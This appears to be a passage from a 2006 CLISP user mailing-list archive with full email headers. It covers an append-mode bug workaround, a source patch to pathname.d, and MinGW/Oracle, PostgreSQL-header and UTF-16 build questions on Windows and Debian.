clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:47:25 -0800 Received: from saturn.westnic.net ([67.18.234.196]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ex3jY-0002c1-39 for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 06:47:25 -0800 Received: from [71.195.201.48] (helo=[10.0.1.5]) by saturn.westnic.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.52) id 1Ex3jU-00079B-FK for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 09:47:20 -0500 In-Reply-To: References: <9562FA4F-1DF4-4E81-B159-6AC1387DF4F8@metabang.com> Mime-Version: 1.0 (Apple Message framework v746.2) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: <037DA1EF-619E-4E6E-8C8B-C21C922EC0B6@metabang.com> Reply-To: gwking@metabang.com Content-Transfer-Encoding: 7bit From: Gary King To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.746.2) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - saturn.westnic.net X-AntiAbuse: Original Domain - lists.sourceforge.net X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - metabang.com X-Source: X-Source-Args: X-Source-Dir: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: open :if-exist :append writing \0s instead of appending in clisp 2.37 for OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 06:48:12 2006 X-Original-Date: Thu, 12 Jan 2006 09:47:17 -0500 Thank you! On Jan 12, 2006, at 9:41 AM, Sam Steingold wrote: > workaround: :buffered :nil > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > http://www.mideasttruth.com http://www.camera.org http:// > www.palestinefacts.org > http://www.iris.org.il http://truepeace.org http://pmw.org.il > non-smoking section in a restaurant == non-peeing section in a > swimming pool -- Gary Warren King metabang.com http://www.metabang.com/ From lisp-clisp-list@m.gmane.org Thu Jan 12 07:52:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex4ky-0005Bs-Ef for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 07:52:56 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ex4ky-0001Hv-9W for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 07:52:56 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Ex4jp-0002HW-Ci for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 16:51:46 +0100 Received: from COX-66-210-195-230.coxinet.net ([COX-66-210-195-230.coxinet.net]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 16:51:45 +0100 Received: from wolfjb by COX-66-210-195-230.coxinet.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 16:51:45 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Jeff Bowman Lines: 42 Message-ID: References: <5299.70.168.64.167.1135746948.squirrel@mail.nontrivial.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 66.210.195.230 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: build question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 07:53:09 2006 X-Original-Date: Thu, 12 Jan 2006 15:38:57 +0000 (UTC) Sam Steingold gnu.org> writes: > > > * Jeff Bowman ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]: > > > > I have run apt-get install libpq-dev which installs header files into > > /usr/include/postgresql. However, it seems that directory is not being > > included in the search for headers. I have also tried setting the > > INCLUDES environment variable to /usr/include/postgresql to no avail. > > I think that postgresql is normally installed as follows: > > /usr/include/postgres_ext.h > /usr/include/libpq-fe.h > /usr/include/pg*.h > /usr/include/postgresql/* > /usr/include/libpq/* > > where is your postgres_ext.h? > First, apologies for the late response. I never saw this message until browsing the list from the link on clisp.cons.org (ie in gmane). Second, my email address seems to be garbled > > * Jeff Bowman ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]: should be: Jeff Bowman bigfoot.com>, I usually digitally sign my emails, so I wonder if that contributed to this issue. On to the point, on my debian unstable computer, libpq-dev installs all of the postgres include files in /usr/include/postgresql. My postgres_ext.h is in that directory. Thanks for your response. Jeff From lisp-clisp-list@m.gmane.org Thu Jan 12 08:02:52 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex4uW-0005m9-Lr for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 08:02:48 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Ex4uS-000105-DZ for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 08:02:45 -0800 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1Ex4tV-0005Bk-VX for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 17:01:46 +0100 Received: from COX-66-210-195-230.coxinet.net ([COX-66-210-195-230.coxinet.net]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 17:01:45 +0100 Received: from wolfjb by COX-66-210-195-230.coxinet.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 17:01:45 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Jeff Bowman Lines: 113 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 66.210.195.230 (Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp + oracle + mingw build problems Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 08:03:04 2006 X-Original-Date: Thu, 12 Jan 2006 15:53:51 +0000 (UTC) I need to build a version of clisp with oracle support on windows. I downloaded and install MinGW, msys and msysDTK (all at current levels rather than candidate or previous as much as possible). I tried to build clisp from cvs with this command line from the oracle section of the impnotes: ./configure --without-readline \ --with-dynamic-ffi \ --with-dynamic-modules \ --with-module=syscalls \ --with-module=wildcard \ --with-module=regexp \ --with-module=bindings/glibc \ --with-module=oracle \ --with-libsigsegv-prefix=/clisp/clisp/tools/i686-pc-mingw32 \ --build oralisp (the libsigsegv line came from the clisp build process itself) However I had several problems like this one: In file included from spvw.d:24: lispbibl.d:1981:21: win32.c: No such file or directory I couldn't find a win32.c, but I did find a win32.d in the src directory, but not in the oralisp directory. So I copied it into the oralisp directory manually and tried again with the same error. Hoping that line was a typo, I changed the #include line from win32.c to win32.d. That particular error went away but others surfaced. I ended up copying *w32* *win32* to the oralisp directory from the src directory, and changing (where it seemed to matter) from a .c to .d file on the include line. Now, I'm getting these errors: In file included from error.d:417: errwin32.d:1:5: invalid preprocessing directive #Calls errwin32.d:2:5: invalid preprocessing directive #get_OS_error_info errwin32.d:3:5: invalid preprocessing directive #> errwin32.d:4:5: invalid preprocessing directive #> errwin32.d:3852:5: invalid preprocessing directive #Behandlung errwin32.d:3853:5: invalid preprocessing directive #OS_error errwin32.d:3854:5: invalid preprocessing directive #> In file included from error.d:417: errwin32.d: In function `OS_error_internal_body': errwin32.d:3860: error: syntax error at '#' token errwin32.d:3860: error: `bekannter' undeclared (first use in this function) errwin32.d:3860: error: (Each undeclared identifier is reported only once errwin32.d:3860: error: for each function it appears in.) errwin32.d:3860: error: syntax error before "Name" errwin32.d:3865: error: syntax error at '#' token errwin32.d:3865: error: `Meldung' undeclared (first use in this function) errwin32.d:3865: error: syntax error before "vorhanden" errwin32.d:3872:9: invalid preprocessing directive #Meldungbeginn errwin32.d:3874:9: invalid preprocessing directive #Fehlernummer errwin32.d:3876:9: invalid preprocessing directive #nach errwin32.d: In function `OS_error': errwin32.d:3882: error: syntax error at '#' token errwin32.d:3882: error: `just' undeclared (first use in this function) errwin32.d:3882: error: syntax error before "in" errwin32.d:3886: error: syntax error at '#' token errwin32.d:3886: error: `keine' undeclared (first use in this function) errwin32.d:3886: error: syntax error before "Win32" errwin32.d:3887: error: syntax error at '#' token errwin32.d:3887: error: `Fehlermeldung' undeclared (first use in this function) errwin32.d:3888: error: syntax error at '#' token errwin32.d:3891: error: syntax error at '#' token errwin32.d:3891: error: syntax error before "beenden" errwin32.d: In function `OS_file_error': errwin32.d:3900: error: syntax error at '#' token errwin32.d:3900: error: `keine' undeclared (first use in this function) errwin32.d:3900: error: syntax error before "Win32" errwin32.d:3901: error: syntax error at '#' token errwin32.d:3901: error: `Wert' undeclared (first use in this function) errwin32.d:3901: error: stray '\195' in program errwin32.d:3901: error: stray '\188' in program errwin32.d:3902: error: syntax error at '#' token errwin32.d:3902: error: `Fehlermeldung' undeclared (first use in this function) errwin32.d:3903: error: syntax error at '#' token errwin32.d:3906: error: syntax error at '#' token errwin32.d:3906: error: syntax error before "beenden" errwin32.d:3910:5: invalid preprocessing directive #Behandlung errwin32.d:3911:5: invalid preprocessing directive #SOCK_error errwin32.d:3912:5: invalid preprocessing directive #> errwin32.d: In function `SOCK_error': errwin32.d:3917: error: syntax error at '#' token errwin32.d:3917: error: `keine' undeclared (first use in this function) errwin32.d:3917: error: syntax error before "Win32" errwin32.d:3918: error: syntax error at '#' token errwin32.d:3918: error: `Fehlermeldung' undeclared (first use in this function) errwin32.d:3919: error: syntax error at '#' token errwin32.d:3921:9: invalid preprocessing directive #Meldungbeginn errwin32.d:3923:9: invalid preprocessing directive #Fehlernummer errwin32.d:3925:9: invalid preprocessing directive #nach errwin32.d:4120: error: syntax error at '#' token errwin32.d:4120: error: `bekannter' undeclared (first use in this function) errwin32.d:4120: error: syntax error before "Name" errwin32.d:4125: error: syntax error at '#' token errwin32.d:4125: error: `Meldung' undeclared (first use in this function) errwin32.d:4125: error: syntax error before "vorhanden" errwin32.d:4129: error: syntax error at '#' token errwin32.d:4129: error: syntax error before "beenden" make: *** [error.o] Error 1 What can I do to overcome these errors? Thanks, Jeff From sds@gnu.org Thu Jan 12 10:01:59 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex6lr-0003XV-9B for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 10:01:59 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ex6lk-0007Ty-PW for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 10:01:59 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0CI1NhA009584; Thu, 12 Jan 2006 13:01:24 -0500 (EST) To: clisp-list@lists.sourceforge.net, Jeff Bowman Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Jeff Bowman's message of "Thu, 12 Jan 2006 15:38:57 +0000 (UTC)") References: <5299.70.168.64.167.1135746948.squirrel@mail.nontrivial.org> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeff Bowman Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: build question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 10:02:02 2006 X-Original-Date: Thu, 12 Jan 2006 13:00:29 -0500 > * Jeff Bowman [2006-01-12 15:38:57 +0000]: > > Sam Steingold gnu.org> writes: > >> >> > * Jeff Bowman ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]: >> > >> > I have run apt-get install libpq-dev which installs header files into >> > /usr/include/postgresql. However, it seems that directory is not being >> > included in the search for headers. I have also tried setting the >> > INCLUDES environment variable to /usr/include/postgresql to no avail. >> >> I think that postgresql is normally installed as follows: >> >> /usr/include/postgres_ext.h >> /usr/include/libpq-fe.h >> /usr/include/pg*.h >> /usr/include/postgresql/* >> /usr/include/libpq/* >> >> where is your postgres_ext.h? >> > > Second, my email address seems to be garbled >> > * Jeff Bowman ovtsbbg.pbz> [2005-12-27 23:15:48 -0600]: > should be: Jeff Bowman bigfoot.com>, I usually digitally > sign my emails, so I wonder if that contributed to this issue. your address is "encrypted" with rot13 to confuse spam harvesters. (this is required on cygwin mailing lists so I just do it always). CC goes to the correct address. > On to the point, on my debian unstable computer, libpq-dev installs > all of the postgres include files in /usr/include/postgresql. My > postgres_ext.h is in that directory. please try the appended patch and tell us if it works.. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org http://truepeace.org http://www.dhimmi.com http://www.palestinefacts.org http://ffii.org http://www.memri.org Bill Gates is not god and Microsoft is not heaven. Index: pathname.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/pathname.d,v retrieving revision 1.385 retrieving revision 1.386 diff -u -w -u -b -w -i -B -r1.385 -r1.386 --- pathname.d 14 Oct 2005 17:16:48 -0000 1.385 +++ pathname.d 13 Dec 2005 19:37:46 -0000 1.386 @@ -6289,14 +6289,13 @@ > truncate_if_exists: if true, the file is truncated to zero size > STACK_0: pathname < result: open file handle */ -local inline Handle open_output_file (char* pathstring, +local inline Handle open_output_file (char* pathstring, bool wronly, bool truncate_if_exists) { #ifdef UNIX begin_system_call(); var int result = - OPEN(pathstring, - (truncate_if_exists ? O_RDWR | O_BINARY | O_CREAT | O_TRUNC - : O_RDWR | O_BINARY | O_CREAT), + OPEN(pathstring,((wronly ? O_WRONLY : O_RDWR) | O_BINARY | O_CREAT + | (truncate_if_exists ? O_TRUNC : 0)), my_open_mask); end_system_call(); if (result<0) { OS_file_error(STACK_0); } /* report error */ @@ -6304,8 +6303,11 @@ #endif #ifdef WIN32_NATIVE begin_system_call(); - var Handle handle = CreateFile(pathstring, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, - NULL, (truncate_if_exists ? CREATE_ALWAYS : OPEN_ALWAYS), FILE_ATTRIBUTE_NORMAL, NULL); + var Handle handle = + CreateFile(pathstring, (wronly ? 0 : GENERIC_READ) | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, + (truncate_if_exists ? CREATE_ALWAYS : OPEN_ALWAYS), + FILE_ATTRIBUTE_NORMAL, NULL); end_system_call(); if (handle==INVALID_HANDLE_VALUE) { OS_file_error(STACK_0); } return handle; @@ -6478,6 +6480,7 @@ check filename and get the handle: */ var object handle; {var bool append_flag = false; + var bool wronly_flag = false; {switch (direction) { case DIRECTION_PROBE: if (!file_exists(namestring)) { /* file does not exist */ @@ -6512,7 +6515,8 @@ handle = allocate_handle(handl); } break; - default: /* DIRECTION is :OUTPUT or :IO */ + case DIRECTION_OUTPUT: wronly_flag = true; /*FALLTHROUGH*/ + case DIRECTION_IO: /* default for if_not_exists depends on if_exists: */ if (if_not_exists==IF_DOES_NOT_EXIST_UNBOUND) { if (if_exists!=IF_EXISTS_APPEND && if_exists!=IF_EXISTS_OVERWRITE) @@ -6559,13 +6563,14 @@ othersise (with :APPEND, :OVERWRITE) preserve contents. if-not-exists: create new file. */ var Handle handl = - open_output_file(namestring_asciz,/* if_exists; Thu, 12 Jan 2006 19:50:22 +0100 Received: from efuzzyone by ool-435366e7.dyn.optonline.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 19:50:22 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 20 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ool-435366e7.dyn.optonline.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:nKUesC1TZLdI9n0U5ooRfD7XkX0= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] utf-16 on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 10:51:12 2006 X-Original-Date: Thu, 12 Jan 2006 13:49:47 -0500 Hello, The clisp implnotes says that UTF-16, is only available on platforms with GNU libc or GNU libiconv. I am using the 2.37 release on Windows, and utf-16 is not present. So, do I have to compile clisp on windows with libc/libiconv to get utf-16, or is it something which should be present in the windows release? Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | "War is Peace! Freedom is Slavery! Ignorance is Strength!" | -- Orwell, 1984, 1948 `---- From sds@gnu.org Thu Jan 12 11:05:14 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex7l0-0006K1-Bx for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 11:05:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ex7ky-0004kp-79 for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 11:05:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0CJ4RD1012212; Thu, 12 Jan 2006 14:04:28 -0500 (EST) To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> (Dimitrios Kapanikis's message of "Tue, 10 Jan 2006 14:54:47 +0100") References: <243236a40601100554n3c4a5a08te42c746aaeb98a6@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Dimitrios Kapanikis Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: creating new linking set fails, convert_to_foreign_nomalloc undefined Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 11:06:01 2006 X-Original-Date: Thu, 12 Jan 2006 14:03:39 -0500 > * Dimitrios Kapanikis [2006-01-10 14:54:47 +0100]: > > kivcparser.o:kivcparser.c:(.text+0x95): undefined reference to `_convert_to_ > foreign_nomalloc' > kivcparser.o:kivcparser.c:(.text+0x14b): undefined reference to `_convert_to_for > eign_nomalloc' > kivcparser.o:kivcparser.c:(.text+0x1fb): undefined reference to `_convert_to_for > eign_nomalloc' > kivcparser.o:kivcparser.c:(.text+0x2ab): undefined reference to `_convert_to_for > eign_nomalloc' > kivcparser.o:kivcparser.c:(.text+0x375): undefined reference to `_convert_to_for > eign_nomalloc' > kivcparser.o:kivcparser.c:(.text+0x444): more undefined references to `_convert_ > to_foreign_nomalloc' follow so, where do you define convert_to_foreign_nomalloc? I don't see it in clisp/src/foreign.d. you need to use convert_to_foreign(,,&nomalloc) with void* nomalloc (void* old_data, uintL size, uintL alignment) { return old_data; } -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.openvotingconsortium.org http://www.camera.org http://www.dhimmi.com http://www.honestreporting.com http://pmw.org.il Perl: all stupidities of UNIX in one. From sds@gnu.org Thu Jan 12 11:20:30 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Ex7zq-00071Q-CD for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 11:20:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Ex7zm-0005s6-3l for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 11:20:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0CJJwH2012877; Thu, 12 Jan 2006 14:19:58 -0500 (EST) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Thu, 12 Jan 2006 13:49:47 -0500") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: utf-16 on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 11:21:02 2006 X-Original-Date: Thu, 12 Jan 2006 14:19:03 -0500 > * Surendra Singhi [2006-01-12 13:49:47 -0500]: > > The clisp implnotes says that UTF-16, is only available on platforms > with GNU libc or GNU libiconv. yes. > I am using the 2.37 release on Windows, and utf-16 is not present. as documented above. > So, do I have to compile clisp on windows with libc/libiconv to get > utf-16, yes. use mingw or download the Yaroslav's version (..-with-readline-and-gettext...). > or is it something which should be present in the windows release? no - but http://www.cygwin.com/acronyms/#PTC http://clisp.cons.org/impnotes/encoding.html#iconv If your system supplies an iconv implementation which passes the GNU libiconv's test suite, please report that to and a future CLISP version will use iconv on your system. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.mideasttruth.com http://www.memri.org http://www.palestinefacts.org http://www.camera.org http://www.openvotingconsortium.org http://ffii.org Never underestimate the power of stupid people in large groups. From lisp-clisp-list@m.gmane.org Thu Jan 12 14:04:05 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExAY9-0005Rf-Aj for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 14:04:05 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ExAY7-0005hZ-P7 for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 14:04:05 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1ExAXd-0002bu-KI for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 23:03:34 +0100 Received: from ool-435366e7.dyn.optonline.net ([67.83.102.231]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 23:03:33 +0100 Received: from efuzzyone by ool-435366e7.dyn.optonline.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 12 Jan 2006 23:03:33 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 26 Message-ID: <8xtlp0iv.fsf@netscape.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ool-435366e7.dyn.optonline.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 